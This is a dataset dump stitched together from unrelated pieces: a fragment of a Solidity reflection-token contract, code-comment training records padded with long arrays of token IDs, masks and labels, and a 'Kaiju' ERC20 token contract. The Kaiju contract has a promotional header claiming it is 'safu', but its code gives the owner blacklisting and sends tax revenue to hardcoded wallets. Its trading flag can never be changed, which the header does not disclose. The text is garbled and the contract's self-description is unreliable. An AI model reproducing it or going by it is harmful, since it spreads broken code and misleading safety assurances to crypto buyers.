if (!_hasLimits(from, to) && to == lpPair) {
if (snipeBlockAmt == 0 || snipeBlockAmt > 5) {
_liqAddBlock = block.number + 500;
} else {
_liqAddBlock = block.number;
}
_liquidityHolders[from] = true;
_hasLiqBeenAdded = true;
_liqAddStamp = block.timestamp;
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPair == from){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
} else {
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
}
if (gasLimitActive) {
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >=
numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != lpPair &&
swapAndLiquifyEnabled
) {
shouldSwapBack();
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
_tokenTransfer(from, to, amount);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 allFee = _liquidityFee.add(_marketingFee).add(_devFee);
uint256 halfLiquidityTokens = contractTokenBalance
.div(allFee)
.mul(_liquidityFee - swapbackDivisor)
.div(2);
uint256 swapableTokens = contractTokenBalance.sub(halfLiquidityTokens);
uint256 initialBalance = address(this).balance;
swapTokensForEth(swapableTokens);
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 ethForLiquidity = newBalance
.div(allFee)
.mul(_liquidityFee - swapbackDivisor)
.div(2);
if (ethForLiquidity > 0) {
addLiquidity(halfLiquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
halfLiquidityTokens,
ethForLiquidity,
halfLiquidityTokens
);
}
marketingWallet.transfer(newBalance.div(allFee).mul(_marketingFee));
devWallet.transfer(newBalance.div(allFee).mul(_devFee));
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = swapRouter.WETH();
_approve(address(this), address(swapRouter), tokenAmount);
swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(swapRouter), tokenAmount);
swapRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
uint256 tfrAmount = amount;
if (sniperProtection){
if (isSniper(sender) || isSniper(recipient)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(sender, recipient);
if (!_hasLiqBeenAdded && _hasLimits(sender, recipient)) {
revert("Only owner can transfer at this time.");
}
} else {
if (_liqAddBlock > 0
&& lpPair == sender
&& _hasLimits(sender, recipient)
) {
if (block.number < snipeBlockAmt + _liqAddBlock) {
_isSniper[recipient] = true;
snipersCaught ++;
emit SniperCaught(recipient);
}
}
}
}
if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
removeAllFee();
} else {
if (recipient == lpPair) {
require(
amount <= _maxSaleLimit,
"Transfer amount exceeds the maxTxAmount."
);
setSaleFee();
} else {
require(
amount <= _maxBuyLimit,
"Transfer amount exceeds the maxTxAmount."
);
}
}
uint256 newBalance = balanceOf(recipient).add(tfrAmount);
if (!_isExcludedFromWhale[sender] && !_isExcludedFromWhale[recipient]) {
require(
newBalance <= maxLimit,
"Exceeding max tokens limit in the wallet"
);
}
if(walletLimited[recipient]){
require(
newBalance <= walletLimit[recipient],
"Exceeding max tokens limit in the wallet individually"
);
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
restoreAllFee();
}
function _takeBurn(address sender, uint256 tBurn) private {
uint256 currentRate = _getRate();
uint256 rBurn = tBurn * currentRate;
_rOwned[burnAddress] = _rOwned[burnAddress] + rBurn;
if(_isExcluded[burnAddress])
_tOwned[burnAddress] = _tOwned[burnAddress] + tBurn;
emit Transfer(sender, burnAddress, tBurn); // Transparency is the key to success.
}
function manualBurn(uint256 burnAmount) public onlyOwner {
removeAllFee();
_transferStandard(owner(), burnAddress, burnAmount);
restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
if(recipient == lpPair){
// sale
_takeBurn(sender,tFee);
}else{
_reflectFee(rFee, tFee);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
if(recipient == lpPair){
// sale
_takeBurn(sender,tFee);
}else{
_reflectFee(rFee, tFee);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
if(recipient == lpPair){
// sale
_takeBurn(sender,tFee);
}else{
_reflectFee(rFee, tFee);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function setExcludedFromFee(address account, bool _enabled)
public
onlyOwner
{
_isExcludedFromFee[account] = _enabled;
}
function setExcludedFromWhale(address account, bool _enabled)
public
onlyOwner
{
_isExcludedFromWhale[account] = _enabled;
}
function setMarketingAddress(address newWallet) external onlyOwner {
marketingWallet = payable(newWallet);
}
function setDevAddress(address newWallet) external onlyOwner {
devWallet = payable(newWallet);
}
function setMaxSaleLimit(uint256 amount) external onlyOwner {
_maxSaleLimit = amount;
}
function setSwapBackDivisor(uint256 amount) external onlyOwner {
swapbackDivisor = amount;
}
function setMaxBuyLimit(uint256 amount) external onlyOwner {
_maxBuyLimit = amount;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setNumTokensSellToAddToLiquidity(uint256 amount) public onlyOwner {
numTokensSellToAddToLiquidity = amount;
emit Log("NumTokensSellToAddToLiquidity changed", amount);
}
function setMaxWalletLimit(uint256 amount) public onlyOwner {
maxLimit = amount;
}
function setIndividualLimit(address user,uint256 amount) public onlyOwner {
require(_rTotal.mul(upperLimit).div(100) >= amount,"Big limit value");
walletLimit[user] = amount;
walletLimited[user] = true;
}
function setIndividualLimitRemove(address user) public onlyOwner {
require(walletLimited[user],"Already removed");
walletLimited[user] = false;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
event SwapETHForTokens(uint256 amountIn, address[] path);
uint256 private swapBackUpperLimit = 1 * 10**18;
bool public swapBackEnabled = true;
event SwapBackEnabledUpdated(bool enabled);
function swapBackUpperLimitAmount() public view returns (uint256) {
return swapBackUpperLimit;
}
function swapBack(uint256 amount) private lockTheSwap {
if (amount > 0) {
swapETHForTokens(amount);
}
}
function shouldSwapBack() private lockTheSwap {
uint256 balance = address(this).balance;
if (swapBackEnabled && balance > uint256(1 * 10**18)) {
if (balance > swapBackUpperLimit) {
balance = swapBackUpperLimit;
}
swapBack(balance.div(100));
}
}
function swapETHForTokens(uint256 amount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = swapRouter.WETH();
path[1] = address(this);
// make the swap
swapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: amount
}(
0, // accept any amount of Tokens
path,
burnAddress, // Burn address
block.timestamp.add(300)
);
emit SwapETHForTokens(amount, path);
}
function setBuybackUpperLimit(uint256 swapBackLimit) external onlyOwner {
swapBackUpperLimit = swapBackLimit * 10**18;
}
function setBuyBackEnabled(bool _enabled) public onlyOwner {
swapBackEnabled = _enabled;
emit SwapBackEnabledUpdated(_enabled);
}
function manualSwapBack(uint256 amount) external onlyOwner {
swapBack(amount * 10**15);
}
}
|
Transparency is the key to success.
|
emit Transfer(sender, burnAddress, tBurn);
| 527,095 |
[
1,
1429,
18258,
353,
326,
498,
358,
2216,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
3626,
12279,
12,
15330,
16,
18305,
1887,
16,
268,
38,
321,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x3e2CAd773e36e29A53eAaB56726043AC04FE83d7/sources/Harvester.sol
|
@notice Compute a min amount of ETH based on pool oracle for cvx @param _amount - amount to swap @return min acceptable amount of ETH
|
function _calcMinAmountOutCvxEth(uint256 _amount)
internal
returns (uint256)
{
uint256 _cvxEthPrice = cvxEthSwap.price_oracle();
uint256 _amountEthPrice = (_amount * _cvxEthPrice) / 1e18;
return ((_amountEthPrice * allowedSlippage) / DECIMALS);
}
| 16,042,554 |
[
1,
7018,
279,
1131,
3844,
434,
512,
2455,
2511,
603,
2845,
20865,
364,
8951,
92,
225,
389,
8949,
300,
3844,
358,
7720,
327,
1131,
14206,
3844,
434,
512,
2455,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
12448,
2930,
6275,
1182,
39,
90,
17432,
451,
12,
11890,
5034,
389,
8949,
13,
203,
3639,
2713,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
2254,
5034,
389,
19774,
17432,
451,
5147,
273,
8951,
17432,
451,
12521,
18,
8694,
67,
280,
16066,
5621,
203,
3639,
2254,
5034,
389,
8949,
41,
451,
5147,
273,
261,
67,
8949,
380,
389,
19774,
17432,
451,
5147,
13,
342,
404,
73,
2643,
31,
203,
3639,
327,
14015,
67,
8949,
41,
451,
5147,
380,
2935,
55,
3169,
2433,
13,
342,
25429,
55,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
Telegram: t.me/Kaijuerc20
Total Tokens: 1 Billion
Max Wallet: 3% soft cap
Max transaction: 2%
Buys: 9%
Sells: 9%
*/
/**
* The contracts crafted by Ultraman Contracts are not liable for the actions of the acting dev (client).
* PLEASE MAKE SURE LIQUIDITY IS LOCKED BEFORE BUYING
* The contract created below is safu as the following is true:
* There is not a pause contract button.
* You cannot disable sells.
* If the dev chooses to renounce, there is no backdoor.
* Sell taxes cannot be raised higher than a designated percent written into the contract and noted as such.
* In this case, sells cannot exceed 10%
* All info pertaining to the contract will be listed above the disclaimer message.
* For further inquiry contact t.me/UltramanContracts
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Kaiju is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Kaiju";
string private constant _symbol = "KAIJU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000 * 1e6 * 1e9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) public bots;
//Buy Fee
uint256 private _reflectionFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 8;
//Sell Fee
uint256 private _reflectionFeeOnSell = 1;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _reflectionFee = _reflectionFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousReflectionFee = _reflectionFee;
uint256 private _previousTaxFee = _taxFee;
//change these addresses or you will burn your dev tax
address payable private _devAddress = payable(0xC612BECbB03Ed3A3732cD46d6d719b190b7bDAa6);
address payable private _mktgAddress = payable(0x5cf6d7b943d789bb708D4259abC1307E4BB46032);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000 * 1e4 * 1e9; //max transaction set to 2%
uint256 public _maxWalletSize = 3100 * 1e4 * 1e9; //max wallet set to 3.1%
uint256 public _swapTokensAtAmount = 1000 * 1e3 * 1e9; //amount of tokens to swap for eth 0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devAddress] = true;
_isExcludedFromFee[_mktgAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_reflectionFee == 0 && _taxFee == 0) return;
_previousReflectionFee = _reflectionFee;
_previousTaxFee = _taxFee;
_reflectionFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_reflectionFee = _previousReflectionFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devAddress.transfer(amount.div(8));
_mktgAddress.transfer(amount.div(8).mul(7));
}
function setTrading(bool _tradingOpen) private onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _devAddress || _msgSender() == _mktgAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devAddress || _msgSender() == _mktgAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _reflectionFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 reflectionFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(reflectionFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
